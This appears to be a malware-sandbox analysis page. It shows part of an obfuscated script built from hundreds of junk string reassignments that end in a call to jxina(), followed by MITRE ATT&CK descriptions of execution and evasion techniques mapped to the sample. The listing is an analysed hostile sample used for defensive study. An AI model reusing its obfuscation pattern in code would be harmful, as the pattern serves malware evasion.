418	opvtc = "P";
419	opvtc = "L";
420	opvtc = "z";
421	opvtc = "r";
422	opvtc = "m";
423	opvtc = "z";
424	opvtc = "n";
425	opvtc = "_";
426	jkvbpk = "g";
427	jkvbpk = "S";
428	jkvbpk = "J";
429	jkvbpk = "B";
430	jkvbpk = "L";
431	jkvbpk = "P";
432	jkvbpk = "D";
433	jkvbpk = "S";
434	jkvbpk = "c";
435	jkvbpk = "R";
436	jkvbpk = "h";
437	jkvbpk = "i";
438	jkvbpk = "x";
439	jkvbpk = "V";
440	jkvbpk = "z";
441	jkvbpk = "o";
442	jkvbpk = "F";
443	jkvbpk = "y";
444	jkvbpk = "R";
445	jkvbpk = "n";
446	jkvbpk = "b";
447	jkvbpk = "P";
448	jkvbpk = "z";
449	jkvbpk = "d";
450	jkvbpk = "a";
451	jkvbpk = "U";
452	jkvbpk = "w";
453	jkvbpk = "A";
454	jkvbpk = "C";
455	jkvbpk = "F";
456	jkvbpk = "x";
457	jkvbpk = "H";
458	jkvbpk = "E";
459	jkvbpk = "8";
460	mhusbjww = "e";
461	mhusbjww = "Z";
462	mhusbjww = "m";
463	mhusbjww = "H";
464	mhusbjww = "j";
465	mhusbjww = "B";
466	mhusbjww = "e";
467	mhusbjww = "L";
468	mhusbjww = "W";
469	mhusbjww = "N";
470	mhusbjww = "i";
471	mhusbjww = "a";
472	mhusbjww = "p";
473	mhusbjww = "C";
474	mhusbjww = "S";
475	mhusbjww = "Y";
476	mhusbjww = "Y";
477	mhusbjww = "K";
478	arguhqdvn = "Z";
479	arguhqdvn = "N";
480	arguhqdvn = "R";
481	arguhqdvn = "W";
482	arguhqdvn = "a";
483	arguhqdvn = "O";
484	arguhqdvn = "s";
485	arguhqdvn = "x";
486	arguhqdvn = "J";
487	arguhqdvn = "L";
488	arguhqdvn = "K";
489	arguhqdvn = "j";
490	arguhqdvn = "l";
491	arguhqdvn = "Q";
492	arguhqdvn = "d";
493	arguhqdvn = "h";
494	arguhqdvn = "T";
495	arguhqdvn = "F";
496	arguhqdvn = "Q";
497	arguhqdvn = "n";
498	arguhqdvn = "Z";
499	arguhqdvn = "U";
500	arguhqdvn = "S";
501	arguhqdvn = "g";
502	arguhqdvn = "S";
503	arguhqdvn = "r";
504	arguhqdvn = "p";
505	arguhqdvn = "G";
506	arguhqdvn = "C";
507	arguhqdvn = "s";
508	arguhqdvn = "f";
509	arguhqdvn = "P";
510	arguhqdvn = "h";
511	arguhqdvn = "o";
512	arguhqdvn = "p";
513	arguhqdvn = "j";
514	arguhqdvn = "-";
515	zcrmpa = "f";
516	zcrmpa = "t";
517	zcrmpa = "o";
518	zcrmpa = "N";
519	zcrmpa = "G";
520	zcrmpa = "g";
521	zcrmpa = "Q";
522	zcrmpa = "w";
523	zcrmpa = "p";
524	zcrmpa = "I";
525	zcrmpa = "B";
526	zcrmpa = "A";
527	zcrmpa = "J";
528	zcrmpa = "J";
529	zcrmpa = "U";
530	zcrmpa = "C";
531	zcrmpa = "C";
532	zcrmpa = "w";
533	zcrmpa = "U";
534	zcrmpa = "j";
535	zcrmpa = "B";
536	zcrmpa = "q";
537	zcrmpa = "B";
538	zcrmpa = "w";
539	zcrmpa = "I";
540	zcrmpa = "A";
541	zcrmpa = "q";
542	zcrmpa = "o";
543	jsxwi = "D";
544	jsxwi = "p";
545	jsxwi = "G";
546	jsxwi = "Z";
547	jsxwi = "g";
548	jsxwi = "o";
549	jsxwi = "J";
550	jsxwi = "Z";
551	jsxwi = "q";
552	jsxwi = "x";
553	jsxwi = "z";
554	jsxwi = "K";
555	jsxwi = "T";
556	jsxwi = "S";
557	jsxwi = "Q";
558	jsxwi = "S";
559	jsxwi = "i";
560	jsxwi = "C";
561	jsxwi = "D";
562	jsxwi = "k";
563	jsxwi = "N";
564	jsxwi = "D";
565	jsxwi = "R";
566	jsxwi = "e";
567	jsxwi = "u";
568	jsxwi = "j";
569	jsxwi = "P";
570	jsxwi = "b";
571	jsxwi = "H";
572	jsxwi = "n";
573	jsxwi = "y";
574	jsxwi = "B";
575	jsxwi = "W";
576	jsxwi = "U";
577	jsxwi = "n";
578	jsxwi = "q";
579	jsxwi = "F";
580	hymxasmt = "P";
581	hymxasmt = "g";
582	hymxasmt = "A";
583	hymxasmt = "t";
584	hymxasmt = "o";
585	hymxasmt = "Z";
586	hymxasmt = "D";
587	hymxasmt = "h";
588	hymxasmt = "F";
589	hymxasmt = "o";
590	hymxasmt = "H";
591	hymxasmt = "h";
592	hymxasmt = "r";
593	hymxasmt = "D";
594	hymxasmt = "U";
595	hymxasmt = "R";
596	hymxasmt = "y";
597	hymxasmt = "l";
598	hymxasmt = "C";
599	hymxasmt = "e";
600	hymxasmt = "T";
601	hymxasmt = "q";
602	hymxasmt = "B";
603	hymxasmt = "b";
604	hymxasmt = "V";
605	hymxasmt = "R";
606	hymxasmt = "Q";
607	hymxasmt = "j";
608	hymxasmt = "s";
609	hymxasmt = "G";
610	hymxasmt = "r";
611	hymxasmt = "v";
612	hymxasmt = "L";
613	hymxasmt = "e";
614	hymxasmt = "k";
615	hymxasmt = "k";
616	hymxasmt = "S";
617	hymxasmt = "D";
618	hymxasmt = "t";
619	hymxasmt = "T";
620	hymxasmt = "s";
621	owktsxo = "K";
622	owktsxo = "s";
623	owktsxo = "Y";
624	owktsxo = "E";
625	owktsxo = "w";
626	owktsxo = "Z";
627	owktsxo = "n";
628	owktsxo = "w";
629	owktsxo = "G";
630	owktsxo = "c";
631	owktsxo = "h";
632	owktsxo = "C";
633	owktsxo = "g";
634	owktsxo = "W";
635	owktsxo = "x";
636	owktsxo = "X";
637	owktsxo = "C";
638	owktsxo = "V";
639	owktsxo = "s";
640	owktsxo = "9";
641	qwzhrg = "W";
642	qwzhrg = "n";
643	qwzhrg = "z";
644	qwzhrg = "R";
645	qwzhrg = "y";
646	qwzhrg = "X";
647	qwzhrg = "l";
648	qwzhrg = "C";
649	qwzhrg = "N";
650	qwzhrg = "C";
651	qwzhrg = "E";
652	qwzhrg = "k";
653	qwzhrg = "V";
654	qwzhrg = "W";
655	qwzhrg = "H";
656	qwzhrg = "q";
657	qwzhrg = "L";
658	qwzhrg = "s";
659	qwzhrg = "F";
660	qwzhrg = "G";
661	qwzhrg = "l";
662	qwzhrg = "v";
663	qwzhrg = "U";
664	qwzhrg = "A";
665	qwzhrg = "J";
666	qwzhrg = "p";
667	qwzhrg = "J";
668	qwzhrg = "b";
669	qwzhrg = "S";
670	qwzhrg = "f";
671	ajskb = "W";
672	ajskb = "C";
673	ajskb = "E";
674	ajskb = "W";
675	ajskb = "W";
676	ajskb = "V";
677	ajskb = "G";
678	ajskb = "J";
679	ajskb = "T";
680	ajskb = "K";
681	ajskb = "p";
682	ajskb = "x";
683	ajskb = "U";
684	ajskb = "K";
685	ajskb = "D";
686	ajskb = "F";
687	ajskb = "W";
688	ajskb = "K";
689	ajskb = "K";
690	ajskb = "b";
691	ajskb = "m";
692	ajskb = "o";
693	ajskb = "B";
694	ajskb = "T";
695	ajskb = "E";
696	ajskb = "u";
697	ajskb = "o";
698	ajskb = "m";
699	ajskb = "P";
700	ajskb = "T";
701	ajskb = "I";
702	ajskb = "l";
703	ybdcnl = "F";
704	ybdcnl = "K";
705	ybdcnl = "E";
706	ybdcnl = "M";
707	ybdcnl = "w";
708	ybdcnl = "F";
709	ybdcnl = "s";
710	ybdcnl = "j";
711	ybdcnl = "f";
712	ybdcnl = "q";
713	ybdcnl = "B";
714	ybdcnl = "f";
715	ybdcnl = "h";
716	ybdcnl = "H";
717	ybdcnl = "b";
718	ybdcnl = "N";
719	ybdcnl = "c";
720	ybdcnl = "R";
721	ybdcnl = "Q";
722	ybdcnl = "z";
723	ybdcnl = "n";
724	ybdcnl = "o";
725	ybdcnl = "l";
726	ybdcnl = "c";
727	ybdcnl = "T";
728	ybdcnl = "y";
729	ybdcnl = "a";
730	ybdcnl = "3";
731	munoqr = "T";
732	zezwo = "u";
733	zezwo = "r";
734	zezwo = "Z";
735	zezwo = "U";
736	zezwo = "X";
737	zezwo = "d";
738	zezwo = "b";
739	zezwo = "k";
740	zezwo = "u";
741	zezwo = "A";
742	zezwo = "P";
743	zezwo = "j";
744	zezwo = "C";
745	zezwo = "F";
746	zezwo = "H";
747	zezwo = "T";
748	zezwo = "D";
749	zezwo = "S";
750	zezwo = "z";
751	zezwo = "Y";
752	zezwo = "h";
753	zezwo = "B";
754	zezwo = "L";
755	zezwo = "I";
756	pfgigpr = "a";
757	jpdkx = "W";
758	jpdkx = "u";
759	jpdkx = "k";
760	jpdkx = "J";
761	jpdkx = "j";
762	jpdkx = "b";
763	jpdkx = "K";
764	jpdkx = "O";
765	jpdkx = "g";
766	jpdkx = "d";
767	jpdkx = "G";
768	jpdkx = "z";
769	jpdkx = "j";
770	jpdkx = "H";
771	jpdkx = "X";
772	jpdkx = "t";
773	jpdkx = "U";
774	jpdkx = "P";
775	jpdkx = "v";
776	jpdkx = "g";
777	jpdkx = "t";
778	jpdkx = "w";
779	jpdkx = "z";
780	jpdkx = "w";
781	jpdkx = "0";
782	yiqynotx = "W";
783	yiqynotx = "c";
784	yiqynotx = "B";
785	yiqynotx = "G";
786	yiqynotx = "N";
787	yiqynotx = "T";
788	yiqynotx = "c";
789	yiqynotx = "c";
790	yiqynotx = "b";
791	yiqynotx = "d";
792	yiqynotx = "d";
793	yiqynotx = "L";
794	yiqynotx = "T";
795	yiqynotx = "Q";
796	yiqynotx = "N";
797	yiqynotx = "F";
798	yiqynotx = "l";
799	yiqynotx = "i";
800	yiqynotx = "g";
801	yiqynotx = "C";
802	yiqynotx = "f";
803	yiqynotx = "I";
804	yiqynotx = "W";
805	yiqynotx = "5";
806	nrujvgg = "l";
807	nrujvgg = "t";
808	nrujvgg = "f";
809	nrujvgg = "%";
810	ljbrlx = "&";
811	fbgxxd = "h";
812	fbgxxd = "n";
813	fbgxxd = "Y";
814	fbgxxd = "U";
815	fbgxxd = "A";
816	fbgxxd = "U";
817	fbgxxd = "m";
818	fbgxxd = "R";
819	fbgxxd = "I";
820	fbgxxd = "r";
821	fbgxxd = "K";
822	fbgxxd = "o";
823	fbgxxd = "K";
824	fbgxxd = "X";
825	fbgxxd = "M";
826	fbgxxd = "T";
827	fbgxxd = "S";
828	fbgxxd = "q";
829	fbgxxd = "X";
830	fbgxxd = "e";
831	zuhxew = "l";
832	zuhxew = "E";
833	zuhxew = "w";
834	zuhxew = "R";
835	zuhxew = "y";
836	zuhxew = "X";
837	zuhxew = "Z";
838	zuhxew = "t";
839	zuhxew = "u";
840	zuhxew = "s";
841	zuhxew = "g";
842	zuhxew = "R";
843	zuhxew = "i";
844	zuhxew = "k";
845	zuhxew = "C";
846	zuhxew = "v";
847	zuhxew = "p";
848	zuhxew = "x";
849	zuhxew = "L";
850	zuhxew = "u";
851	balscttd = "h";
852	balscttd = "r";
853	balscttd = "k";
854	balscttd = "f";
855	balscttd = "Z";
856	balscttd = "y";
857	balscttd = "G";
858	balscttd = "c";
859	balscttd = "u";
860	balscttd = "e";
861	balscttd = "P";
862	balscttd = "t";
863	balscttd = "b";
864	balscttd = "v";
865	balscttd = "Y";
866	balscttd = "C";
867	balscttd = "l";
868	balscttd = "w";
869	balscttd = "t";
870	balscttd = "b";
871	balscttd = "m";
872	balscttd = "k";
873	balscttd = "r";
874	balscttd = "x";
875	balscttd = "y";
876	balscttd = "q";
877	eobtgmi = "K";
878	eobtgmi = "p";
879	eobtgmi = "L";
880	eobtgmi = "j";
881	eobtgmi = "K";
882	eobtgmi = "Z";
883	eobtgmi = "o";
884	eobtgmi = "E";
885	eobtgmi = "Q";
886	eobtgmi = "p";
887	eobtgmi = "R";
888	eobtgmi = "x";
889	eobtgmi = "Z";
890	eobtgmi = "j";
891	eobtgmi = "l";
892	eobtgmi = "m";
893	eobtgmi = "y";
894	eobtgmi = "e";
895	eobtgmi = "k";
896	eobtgmi = "X";
897	eobtgmi = "d";
898	eobtgmi = "I";
899	eobtgmi = "V";
900	eobtgmi = "o";
901	eobtgmi = "r";
902	eobtgmi = "a";
903	eobtgmi = "m";
904	eobtgmi = "O";
905	eobtgmi = "b";
906	eobtgmi = "p";
907	eobtgmi = "T";
908	eobtgmi = "X";
909	eobtgmi = "r";
910	eobtgmi = "N";
911	eobtgmi = "y";
912	eobtgmi = "x";
913	eobtgmi = "z";
914	eobtgmi = "s";
915	eobtgmi = "T";
916	eobtgmi = "p";
917	eobtgmi = "w";
918	axwvnjes = "Z";
919	axwvnjes = "t";
920	axwvnjes = "m";
921	axwvnjes = "W";
922	axwvnjes = "Y";
923	axwvnjes = "p";
924	axwvnjes = "q";
925	axwvnjes = "k";
926	axwvnjes = "k";
927	axwvnjes = "c";
928	axwvnjes = "n";
929	axwvnjes = "X";
930	axwvnjes = "Q";
931	axwvnjes = "I";
932	axwvnjes = "e";
933	axwvnjes = "O";
934	axwvnjes = "I";
935	axwvnjes = "C";
936	axwvnjes = "Z";
937	axwvnjes = "d";
938	axwvnjes = "C";
939	axwvnjes = "H";
940	axwvnjes = ".";
941	kkgzufn = "h";
942	kkgzufn = "E";
943	kkgzufn = "j";
944	kkgzufn = "c";
945	kkgzufn = "y";
946	kkgzufn = "b";
947	kkgzufn = "b";
948	kkgzufn = "c";
949	kkgzufn = "h";
950	kkgzufn = "h";
951	kkgzufn = "J";
952	kkgzufn = "U";
953	kkgzufn = "i";
954	kkgzufn = "L";
955	kkgzufn = "k";
956	kkgzufn = "v";
957	kkgzufn = "q";
958	kkgzufn = "L";
959	ocsfht = "Y";
960	ocsfht = "D";
961	ocsfht = "t";
962	ocsfht = "k";
963	ocsfht = "t";
964	ocsfht = "F";
965	ocsfht = "J";
966	ocsfht = "D";
967	ocsfht = "G";
968	ocsfht = "f";
969	ocsfht = "f";
970	ocsfht = "h";
971	ocsfht = "M";
972	ocsfht = "P";
973	ocsfht = "M";
974	ocsfht = "k";
975	ocsfht = "j";
976	ocsfht = "g";
977	ocsfht = "e";
978	ocsfht = "F";
979	ocsfht = "P";
980	ocsfht = "O";
981	ocsfht = "a";
982	ocsfht = "c";
983	ocsfht = "u";
984	ocsfht = "e";
985	ocsfht = "T";
986	ocsfht = "o";
987	ocsfht = "T";
988	ocsfht = "F";
989	ocsfht = "h";
990	ocsfht = "S";
991	ocsfht = "H";
992	ocsfht = "a";
993	ocsfht = "l";
994	ocsfht = "t";
995	ocsfht = "N";
996	ocsfht = "Q";
997	ocsfht = "Z";
998	ocsfht = "H";
999	ocsfht = "P";
1000	wlhhlx = "Y";
1001	wlhhlx = "G";
1002	wlhhlx = "l";
1003	wlhhlx = "r";
1004	wlhhlx = "H";
1005	wlhhlx = "R";
1006	wlhhlx = "g";
1007	wlhhlx = "F";
1008	wlhhlx = "h";
1009	wlhhlx = "R";
1010	pghsu = "R";
1011	pghsu = "K";
1012	pghsu = "Z";
1013	pghsu = "M";
1014	pghsu = "g";
1015	pghsu = "e";
1016	pghsu = "k";
1017	pghsu = "k";
1018	pghsu = "H";
1019	pghsu = "D";
1020	pghsu = "E";
1021	pghsu = "q";
1022	pghsu = "a";
1023	pghsu = "d";
1024	pghsu = "E";
1025	pghsu = "F";
1026	pghsu = "e";
1027	pghsu = "M";
1028	pghsu = "f";
1029	pghsu = "k";
1030	pghsu = "N";
1031	pghsu = "F";
1032	pghsu = "y";
1033	pghsu = "H";
1034	bcovcedi = "E";
1035	bcovcedi = "c";
1036	bcovcedi = "h";
1037	bcovcedi = "K";
1038	bcovcedi = "n";
1039	bcovcedi = "Y";
1040	bcovcedi = "F";
1041	bcovcedi = "F";
1042	bcovcedi = "Y";
1043	bcovcedi = "o";
1044	bcovcedi = "n";
1045	bcovcedi = "k";
1046	bcovcedi = "I";
1047	bcovcedi = "a";
1048	bcovcedi = "o";
1049	bcovcedi = "y";
1050	bcovcedi = "r";
1051	bcovcedi = "g";
1052	bcovcedi = "G";
1053	bcovcedi = "p";
1054	bcovcedi = "q";
1055	bcovcedi = "n";
1056	ghzmzqhw = "J";
1057	ghzmzqhw = "C";
1058	ghzmzqhw = "E";
1059	ghzmzqhw = "e";
1060	ghzmzqhw = "j";
1061	ghzmzqhw = "x";
1062	ghzmzqhw = "f";
1063	ghzmzqhw = "I";
1064	ghzmzqhw = "U";
1065	ghzmzqhw = "g";
1066	ghzmzqhw = "E";
1067	ghzmzqhw = "h";
1068	ghzmzqhw = "k";
1069	yuyizpj = "W";
1070	yuyizpj = "a";
1071	yuyizpj = "A";
1072	yuyizpj = "u";
1073	yuyizpj = "a";
1074	yuyizpj = "y";
1075	yuyizpj = "R";
1076	yuyizpj = "l";
1077	yuyizpj = "t";
1078	yuyizpj = "T";
1079	yuyizpj = "M";
1080	yuyizpj = "S";
1081	yuyizpj = "n";
1082	yuyizpj = "B";
1083	yuyizpj = "a";
1084	yuyizpj = "V";
1085	yuyizpj = "t";
1086	yuyizpj = "u";
1087	yuyizpj = "l";
1088	yuyizpj = "\"";
1089	lpmup = "X";
1090	lpmup = "i";
1091	lpmup = "P";
1092	lpmup = "z";
1093	lpmup = "v";
1094	lpmup = "t";
1095	lpmup = "L";
1096	lpmup = "E";
1097	lpmup = "W";
1098	lpmup = "g";
1099	lpmup = "v";
1100	tausoyc = "N";
1101	tausoyc = "M";
1102	tausoyc = "g";
1103	tausoyc = "H";
1104	tausoyc = "C";
1105	tausoyc = "Y";
1106	gzsefld = "t";
1107	gzsefld = "a";
1108	gzsefld = "k";
1109	gzsefld = "l";
1110	gzsefld = "V";
1111	gzsefld = "T";
1112	gzsefld = "h";
1113	gzsefld = "f";
1114	gzsefld = "m";
1115	gzsefld = "H";
1116	gzsefld = "j";
1117	gzsefld = "R";
1118	gzsefld = "u";
1119	gzsefld = "S";
1120	gzsefld = "e";
1121	gzsefld = "M";
1122	gzsefld = "t";
1123	gzsefld = "O";
1124	lybon = "Z";
1125	lybon = "p";
1126	lybon = "K";
1127	lybon = "O";
1128	lybon = "r";
1129	lybon = "d";
1130	tqxgbkh = "y";
1131	tqxgbkh = "y";
1132	tqxgbkh = "x";
1133	tqxgbkh = "f";
1134	tqxgbkh = "o";
1135	tqxgbkh = "V";
1136	tqxgbkh = "w";
1137	tqxgbkh = "v";
1138	tqxgbkh = "K";
1139	tqxgbkh = "F";
1140	tqxgbkh = "n";
1141	tqxgbkh = "b";
1142	tqxgbkh = "o";
1143	tqxgbkh = "u";
1144	tqxgbkh = "Q";
1145	tqxgbkh = "D";
1146	tqxgbkh = "d";
1147	tqxgbkh = "S";
1148	tqxgbkh = "A";
1149	tqxgbkh = "A";
1150	tqxgbkh = "q";
1151	tqxgbkh = "v";
1152	tqxgbkh = "h";
1153	snxznh = "D";
1154	snxznh = "y";
1155	snxznh = "Q";
1156	snxznh = "c";
1157	snxznh = "k";
1158	snxznh = "O";
1159	snxznh = "X";
1160	snxznh = "z";
1161	snxznh = "p";
1162	snxznh = "H";
1163	snxznh = "G";
1164	snxznh = "F";
1165	snxznh = "M";
1166	snxznh = "I";
1167	snxznh = "L";
1168	snxznh = "Z";
1169	snxznh = "e";
1170	snxznh = "Z";
1171	snxznh = "k";
1172	snxznh = "K";
1173	snxznh = "U";
1174	snxznh = "r";
1175	snxznh = "U";
1176	snxznh = "H";
1177	snxznh = "c";
1178	snxznh = "i";
1179	snxznh = "h";
1180	snxznh = "Z";
1181	snxznh = "N";
1182	snxznh = "v";
1183	snxznh = "f";
1184	snxznh = "Z";
1185	snxznh = "J";
1186	snxznh = "a";
1187	snxznh = "y";
1188	snxznh = "p";
1189	snxznh = "b";
1190	snxznh = "Q";
1191	zlkaqxsed = "A";
1192	zlkaqxsed = "i";
1193	zlkaqxsed = "Y";
1194	zlkaqxsed = "Q";
1195	zlkaqxsed = "W";
1196	zlkaqxsed = "e";
1197	zlkaqxsed = "c";
1198	zlkaqxsed = "v";
1199	zlkaqxsed = "j";
1200	zlkaqxsed = "F";
1201	zlkaqxsed = "a";
1202	zlkaqxsed = "S";
1203	zlkaqxsed = "W";
1204	zlkaqxsed = "O";
1205	zlkaqxsed = "H";
1206	zlkaqxsed = "L";
1207	zlkaqxsed = "n";
1208	zlkaqxsed = "U";
1209	zlkaqxsed = "k";
1210	zlkaqxsed = "x";
1211	zlkaqxsed = "e";
1212	zlkaqxsed = "w";
1213	zlkaqxsed = "V";
1214	zlkaqxsed = "m";
1215	zlkaqxsed = "g";
1216	zlkaqxsed = "n";
1217	zlkaqxsed = "1";
1218	tpgprxd = "F";
1219	tpgprxd = "d";
1220	tpgprxd = "Q";
1221	tpgprxd = "N";
1222	tpgprxd = "D";
1223	tpgprxd = "2";
1224	fvfah = "O";
1225	fvfah = "g";
1226	fvfah = "c";
1227	fvfah = "d";
1228	fvfah = "j";
1229	fvfah = "g";
1230	fvfah = "R";
1231	fvfah = "h";
1232	fvfah = "d";
1233	fvfah = "i";
1234	fvfah = "N";
1235	fvfah = "d";
1236	fvfah = "e";
1237	fvfah = "j";
1238	fvfah = "i";
1239	fvfah = "K";
1240	fvfah = "E";
1241	lfkxoyzq = "m";
1242	lfkxoyzq = "R";
1243	lfkxoyzq = "p";
1244	lfkxoyzq = "P";
1245	lfkxoyzq = "N";
1246	lfkxoyzq = "M";
1247	lfkxoyzq = "H";
1248	lfkxoyzq = "O";
1249	lfkxoyzq = "i";
1250	lfkxoyzq = "t";
1251	lfkxoyzq = "X";
1252	lfkxoyzq = "E";
1253	lfkxoyzq = "I";
1254	lfkxoyzq = "U";
1255	lfkxoyzq = "N";
1256	lfkxoyzq = "d";
1257	lfkxoyzq = "s";
1258	lfkxoyzq = "B";
1259	lfkxoyzq = "x";
1260	lfkxoyzq = "r";
1261	lfkxoyzq = "X";
1262	lfkxoyzq = "b";
1263	lfkxoyzq = "U";
1264	tetlkmb = "n";
1265	tetlkmb = "O";
1266	tetlkmb = "b";
1267	tetlkmb = "A";
1268	tetlkmb = "S";
1269	omvngsu = "I";
1270	omvngsu = "Y";
1271	omvngsu = "G";
1272	omvngsu = "k";
1273	omvngsu = "r";
1274	omvngsu = "r";
1275	omvngsu = "v";
1276	omvngsu = "R";
1277	omvngsu = "G";
1278	omvngsu = "W";
1279	omvngsu = "t";
1280	omvngsu = "q";
1281	omvngsu = "b";
1282	omvngsu = "Y";
1283	omvngsu = "M";
1284	omvngsu = "p";
1285	omvngsu = "Z";
1286	omvngsu = "V";
1287	omvngsu = "y";
1288	omvngsu = "k";
1289	omvngsu = "y";
1290	omvngsu = "D";
1291	omvngsu = "A";
1292	omvngsu = "d";
1293	omvngsu = "A";
1294	omvngsu = "M";
1295	omvngsu = "W";
1296	omvngsu = ":";
1297	qvldid = "A";
1298	qvldid = "J";
1299	qvldid = "/";
1300	wdruhyw = "S";
1301	wdruhyw = "n";
1302	wdruhyw = "u";
1303	wdruhyw = "p";
1304	sgzdobb = "q";
1305	sgzdobb = "c";
1306	sgzdobb = "z";
1307	sgzdobb = "j";
1308	sgzdobb = "\\";
1309	fjkif = "u";
1310	fjkif = "k";
1311	fjkif = "S";
1312	fjkif = "a";
1313	fjkif = "A";
1314	fjkif = "J";
1315	fjkif = "Z";
1316	fjkif = "R";
1317	fjkif = "O";
1318	fjkif = "V";
1319	fjkif = "s";
1320	fjkif = "N";
1321	fjkif = "G";
1322	fjkif = "e";
1323	fjkif = "R";
1324	fjkif = "w";
1325	fjkif = "D";
1326	fjkif = "o";
1327	fjkif = "m";
1328	fjkif = "T";
1329	fjkif = "h";
1330	fjkif = "h";
1331	fjkif = "M";
1332	fjkif = "D";
1333	fjkif = "n";
1334	fjkif = "z";
1335	fjkif = "W";
1336	fjkif = "r";
1337	fjkif = "G";
1338	fjkif = "R";
1339	fjkif = "A";
1340	fjkif = "S";
1341	fjkif = "j";
1342	fjkif = "g";
1343	tcntp = "A";
1344	tcntp = "s";
1345	tcntp = "L";
1346	tcntp = "Z";
1347	tcntp = "j";
1348	tcntp = "I";
1349	tcntp = "s";
1350	tcntp = "y";
1351	tcntp = "J";
1352	tcntp = "K";
1353	tcntp = "p";
1354	tcntp = "6";
1355	oqbbmg = "q";
1356	oqbbmg = "j";
1357	oqbbmg = "l";
1358	oqbbmg = "h";
1359	oqbbmg = "b";
1360	oqbbmg = "C";
1361	oqbbmg = "V";
1362	oqbbmg = "Y";
1363	oqbbmg = "V";
1364	oqbbmg = "Q";
1365	oqbbmg = "b";
1366	oqbbmg = "S";
1367	oqbbmg = "q";
1368	oqbbmg = "h";
1369	oqbbmg = "l";
1370	oqbbmg = "k";
1371	oqbbmg = "D";
1372	oqbbmg = "u";
1373	oqbbmg = "A";
1374	oqbbmg = "d";
1375	oqbbmg = "f";
1376	oqbbmg = "t";
1377	oqbbmg = "Z";
1378	oqbbmg = "w";
1379	oqbbmg = "q";
1380	oqbbmg = "s";
1381	oqbbmg = "b";
1382	oqbbmg = "r";
1383	oqbbmg = "w";
1384	oqbbmg = "S";
1385	oqbbmg = "f";
1386	oqbbmg = "h";
1387	oqbbmg = "q";
1388	oqbbmg = "R";
1389	oqbbmg = "G";
1390	oqbbmg = "Z";
1391	oqbbmg = "q";
1392	oqbbmg = "f";
1393	oqbbmg = "V";
1394	oqbbmg = "y";
1395	oqbbmg = "x";
1396	tuohz = "K";
1397	tuohz = "D";
1398	tuohz = "o";
1399	tuohz = "b";
1400	tuohz = "i";
1401	jxina ( );	jxina() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

